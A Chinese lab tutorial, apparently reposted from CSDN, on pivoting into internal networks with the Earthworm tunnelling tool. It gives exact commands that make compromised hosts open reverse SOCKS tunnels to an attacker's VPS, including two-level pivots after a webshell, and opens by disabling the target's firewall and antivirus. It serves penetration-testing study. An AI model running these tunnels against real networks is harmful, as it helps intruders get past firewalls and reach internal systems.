【内网—内网转发】——代理转发_ew(Earthworm)代理转发

简介: 【内网—内网转发】——代理转发_ew(Earthworm)代理转发

文章目录
一、环境准备:
二、工具:
三、概念:
四、学习目的:
五、ew(Earthworm)介绍:
六、ew(Earthworm)使用说明:
七、ew(Earthworm)正向代理(适用于被控服务器拥有一个公网IP):
1. 场景:
2. 网络拓扑图:
3. 说明:
4. 实验过程:
八、ew(Earthworm)反向代理:
1. 一级代理:
1.1 场景:
1.2 网络拓扑图:
1.3 说明:
1.4 实验过程:
2. 二级代理(一):
2.1 场景:
2.2 网络拓扑图:
2.3 说明:
2.4 实验过程:
3. 二级代理(二):
3.1 场景:
3.2 网络拓扑图:
3.3 说明:
3.4 实验过程:
一、环境准备:
  关闭靶机电脑的防火墙及病毒和威胁防护的实时防护。
  开启内网主机的远程桌面。

二、工具:
ew(Earthworm)内网穿透工具
proxifier代理工具客户端

三、概念:
  内网渗透不光只是反弹一个shell,反弹一个端口,我们更需要对内网进行更深一步的扫描和渗透,这时候就需要找到一个代理服务器,充当外网和内网数据转发的节点,通过这个被我们控制的服务器,把所在网段的流量转发到公网(互联网)。
  所以出现了反弹代理,也叫反弹socket。

四、学习目的:
  在我们进行渗透测试过程中,获得了目标服务器的getshell权限后,要对内网其它服务器或者主机进一步渗透;这样的话,需要对其他主机进行信息收集,端口、服务探测及漏洞扫描等操作。
  进行这样操作,只进行反弹shell和端口转发已经不能满足需求,需要进一步进行反弹代理,通过我们控制的目标服务器,把目标服务器作为代理服务器,充当外网和内网数据转发的节点,把所在内网网段的流量引出到公网,这样的话,就方便我们对目标服务器所在内网网段的其他主机进行探测及漏洞利用了。

五、ew(Earthworm)介绍:
  EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
  该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
  工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内。

六、ew(Earthworm)使用说明:
  该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

D:\ew>ew_for_Win.exe -h
版本:free1.2
./xxx ([-options] [values])*
选项 :
例如:./xxx -s ssocksd -h
-s 指定工作模式。工作模式支持如下:
ssocksd , rcsocks , rssocks ,lcx_listen , lcx_tran , lcx_slave
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去。
rssocks 创建反向socks代理服务端
rcsocks 反向socks代理客户端
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端

-l listenport为服务器打开一个监听端口。
-d refhost 设置反射主机地址。
-e refport 设置反射端口。
-f connhost 设置连接主机地址。
-g connport 设置连接端口。
-h help 显示帮助文本,通过添加 -s 参数,您还可以查看更详细的帮助。
-a about 显示关于页面
-v version 显示版本。
-t usectime 设置超时的毫秒数。 默认的值为 1000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
可以参考:http://rootkiter.com/EarthWorm/

七、ew(Earthworm)正向代理(适用于被控服务器拥有一个公网IP):
1. 场景:
  目标网络边界服务器存在公网IP且可任意开监听端口。

角色 系统 网卡 IP(网段)
攻击机 windows10虚拟机 NAT 192.168.100.151
被控主机1 windows08虚拟机 NAT
VMnet1 192.168.100.158(公网IP)
172.16.10.10
内网主机 windows03虚拟机 VMnet1 172.16.10.11
2. 网络拓扑图:

3. 说明:
  正向代理是服务器开放监听端口,客户端(攻击者)主动连接服务器的端口。
  适用于被控服务器拥有一个公网IP。

4. 实验过程:
1、在被控主机使用ew打开一个监听端口:
命令:

ew_for_Win.exe -s ssocksd -l 6666
-s 指定工作模式
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
-l listenport为服务器打开一个监听端口
1
2
3
4

2、查看监听端口是否打开,可以看出监听端口已经打开:

3、使用proxifier代理工具客户端连接ew(Earthworm)的正向连接服务端:

在进行测试时可以出现无法连通的现象,这时需要在【被控主机1】的ew命令行里面敲一下回车键:

4、在攻击机上面连接被控服务器所在内网段的内网主机172.16.10.11:

八、ew(Earthworm)反向代理:
1. 一级代理:
1.1 场景:
  目标网络边界不存在公网IP,能够访问内网资源,可以访问公网,需要通过反弹方式创建 socks 代理。

角色 系统 网卡 IP(网段)
攻击机 windows10虚拟机 NAT 192.168.100.151
攻击者的公网vps windows10虚拟机 NAT 192.168.100.152
被控主机1 windows08虚拟机 NAT
VMnet1 192.168.100.158
172.16.10.10
内网主机 windows03虚拟机 VMnet1 172.16.10.11
1.2 网络拓扑图:

1.3 说明:
  反向代理是客户端开发端口,服务器连接客户端。
   适用于目标机器没有公网IP,但可访问内网资源。

1.4 实验过程:
1、在攻击者的公网vps上添加转接隧道,将6666收到的代理请求转交给反连8888端口的被控服务器:
命令:

ew_for_Win.exe -s rcsocks -l 6666 -e 8888
-s 指定工作模式
rcsocks 反向socks代理客户端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
1
2
3
4
5

2、在被控服务器上启动SOCKS v5服务并反弹到公网vps主机的8888端口

命令:

ew_for_Win.exe -s rssocks -d 192.168.100.152 -e 8888
-s 指定工作模式
rssocks 创建反向socks代理服务端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口。
1
2
3
4
5

3、在公网vps出现以下界面,说明连接成功:

4、使用proxifier代理工具客户端连接公网vps上ew(Earthworm)的监听的端口:

在进行测试时可以出现无法连通的现象,这时需要在【攻击者的公网vps】的ew命令行里面敲一下回车键:

5、在攻击机上面连接被控服务器所在内网段的内网主机172.16.10.11:

2. 二级代理(一):
2.1 场景:
  在获得边界服务器【被控主机1】的webshell后,通过横向移动到内网环境1中的【被控主机2】,发现【被控主机2】同时处于另一个内网环境2中,但【被控主机2】所处的内网环境2无法访问公网,公网也无法访问【被控主机2】所在内网环境2 ,【被控主机2】却可以单向访问【被控主机1】,这时需要把【被控主机2】所在的内网环境2的流量代理出来。

角色 系统 网卡 IP(网段)
攻击机 windows10虚拟机 NAT 192.168.100.151
攻击者的公网vps windows10虚拟机 NAT 192.168.100.152
被控主机1 windows08虚拟机 NAT
VMnet1 192.168.100.158
172.16.10.10
被控主机2 windows08虚拟机 VMnet1
VMnet2 172.16.10.11
10.1.1.1
内网主机 windows03虚拟机 VMnet1 172.16.10.11
2.2 网络拓扑图:

2.3 说明:
  反向代理是客户端开发端口,服务器连接客户端。
   适用于目标机器没有公网IP,但可访问内网资源。

2.4 实验过程:
1、在公网vps添加转接隧道,将6666端口收到的代理请求流量转交给反连8888端口的被控主机:
命令:

ew_for_Win.exe -s rcsocks -l 6666 -e 8888
-s 指定工作模式
rcsocks 反向socks代理客户端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
1
2
3
4
5

2、在被控服主机1上启动监听本机端口9999,并将9999端口接收到的代理流量,转发给攻击者的公网vps的8888端口:
命令:

ew_for_Win.exe -s lcx_tran -l 被控主机1本机端口 -f 攻击者的公网vps_IP -g 8888
ew_for_Win.exe -s lcx_tran -l 9999 -f 192.168.100.152 -g 8888
-s 指定工作模式
rssocks 创建反向socks代理服务端
-l listenport在被控主机1上设置监听端口9999,将9999收到的 代理请求 转交给攻击者的公网vps的8888端口。
-f connhost 设置连接主机地址(IP)。
-g connport 设置连接端口。
这个命令的意思就是,把本机9999接收到的代理流量,转发到攻击者公网vps的192.168.100.152的8888端口上。
1
2
3
4
5
6
7
8

3、在被控主机2启动SOCKS v5代理服务端,并反弹到被控主机1的8888端口 :

ew_for_Win.exe -s rssocks -d 172.16.10.10 -e 9999
-s 指定工作模式
rssocks 创建反向socks代理服务端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口。
这个命令的意思就是在被控主机2启动SOCKS v5代理服务端,把本机的代理流量反向代理到被控服务器1的9999端口。
1
2
3
4
5
6

4、使用proxifier代理工具客户端连接公网vps上ew(Earthworm)的监听的端口:

5、在攻击机上面连接第二级内网被控主机所在内网段的内网主机10.1.1.2:

3. 二级代理(二):
3.1 场景:
  在获得边界服务器【被控主机1】的webshell后,发现被控主机1没有公网IP,但处于边界的【被控主机1】可访问公网;攻击者通过横向移动到内网环境1中的【被控主机2】,发现【被控主机2】同时处于另一个内网环境2中,但【被控主机2】所处的内网环境2无法访问公网,公网也无法访问【被控主机2】所在内网环境2 ,但处于边界的【被控主机1】却可以单向访问【被控主机2】所处的内网环境2,这时需要把【被控主机2】所在的内网环境2的流量代理出来。

角色 系统 网卡 IP(网段)
攻击机 windows10虚拟机 NAT 192.168.100.151
攻击者的公网vps windows10虚拟机 NAT 192.168.100.152
被控主机1 windows08虚拟机 NAT
VMnet1 192.168.100.158
172.16.10.10
被控主机2 windows08虚拟机 VMnet1
VMnet2 172.16.10.11
10.1.1.1
内网主机 windows03虚拟机 VMnet1 10.1.1.2
3.2 网络拓扑图:

3.3 说明:
  反向代理是客户端开发端口,服务器连接客户端。
   适用于目标机器没有公网IP,但可访问内网资源。

3.4 实验过程:
1、在攻击者的公网vps添加转接隧道,通过ew的lcx_listen模块监听本机的6666端口,把6666端口接受到的代理请求,转发到反连8888端口的主机:
命令:

ew_for_Win.exe -s lcx_listen -l 6666 -e 8888
-s 指定工作模式
lcx_listen 反向tcp服务端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
1
2
3
4
5

2、在内网环境2中的【被控主机2】上通过ssocksd模块,开启正向代理服务,通过ssocksd模块监听【被控主机2】本机的9999端口,通过正向代理,把外流量引向内网:
命令:

ew_for_Win.exe -s ssocksd -l 9999
-s 指定工作模式
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
-l listenport为服务器打开一个监听端口
1
2
3
4

3、在内网环境1中的被控主机1运行以下命令,通过ew的lcx_slave流量转发模块,将正向连接到攻击者的公网vps的8888端口,而获得的代理请求流量,转发给内网环境2的【被控主机2】,从而获得内网环境2的内网流量:

ew_for_Win.exe -s lcx_slave -d 攻击者的公网vps_IP -e 8888 -f 处于2级内网的被控主机 -g 9999
ew_for_Win.exe -s lcx_slave -d 192.168.100.152 -e 8888 -f 172.16.10.11 -g 9999
-s 指定工作模式
lcx_slave 反向tcp转发客户端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口
-f connhost 设置连接主机地址
-g connport 设置连接端口
1
2
3
4
5
6
7
8

4、使用proxifier代理工具客户端连接公网vps上ew(Earthworm)的监听的端口:

5、在攻击机上面连接第二级内网被控主机所在内网段的内网主机10.1.1.2:
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_45588247/article/details/120238795

目录
相关文章
|
供应链 中间件
哥斯拉内存马/Suo5内存代理插件
哥斯拉内存马/Suo5内存代理插件
1953 0
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
19648 0
|
5月前
|
安全 Linux Shell
Linux系统提权方式全面总结:从基础到高级攻防技术
本文全面总结Linux系统提权技术,涵盖权限体系、配置错误、漏洞利用、密码攻击等方法,帮助安全研究人员掌握攻防技术,提升系统防护能力。
483 1
|
安全 Java API
解决 Swagger API 未授权访问漏洞:完善分析与解决方案
Swagger 是一个用于设计、构建、文档化和使用 RESTful 风格的 Web 服务的开源软件框架。它通过提供一个交互式文档页面,让开发者可以更方便地查看和测试 API 接口。然而,在一些情况下,未经授权的访问可能会导致安全漏洞。本文将介绍如何解决 Swagger API 未授权访问漏洞问题。
|
消息中间件 安全 Java
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
本文介绍了多个软件的安全漏洞及其复现过程,涉及的软件包括Vulhub、Flask、ActiveMQ、Adminer、Airflow、Apache Druid、Apereo CAS、APISIX、AppWeb、Aria2、Bash、Cacti、Celery、CGI、ColdFusion和Confluence。每个部分详细描述了漏洞的背景、环境搭建步骤、漏洞复现的具体操作和验证方法。例如,Flask的SSTI漏洞通过构造特定的模板参数实现命令执行;ActiveMQ的反序列化漏洞利用特制的序列化对象触发;这些示例不仅展示了漏洞的危害性,还提供了实际的复现步骤,帮助读者深入理解这些安全问题。
2449 3
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
|
SQL 安全 关系型数据库
MySQL UDF提权
通过这些内容的详细介绍和实际案例分析,希望能帮助您深入理解MySQL UDF提权的机制、实现步骤及防范措施,提高系统的安全性和防护能力。
815 11
|
网络协议
masscan的常用命令记录
masscan的常用命令记录
1014 0
|
Web App开发 移动开发 安全
WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)
WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。
2851 1
|
安全 网络安全 网络架构
什么是端口转发?什么是端口映射?如何设置端口映射
端口映射与端口转发是网络配置中两个常被混淆的概念。端口映射是指将外部网络请求通过路由器转发至内部网络特定主机的过程,增强了内网安全性。而端口转发则是指路由器依据端口将外部请求定向至具体设备,实现内外网通信。两者虽相似,但应用场景和原理有所不同。通过工具如花生壳,可轻松设置端口映射,实现外网访问内网服务。
2805 1
|
存储 安全 Apache
文件上传--Upload-labs--Pass03--特殊后缀与::$DATA绕过
文件上传--Upload-labs--Pass03--特殊后缀与::$DATA绕过
文件上传--Upload-labs--Pass03--特殊后缀与::$DATA绕过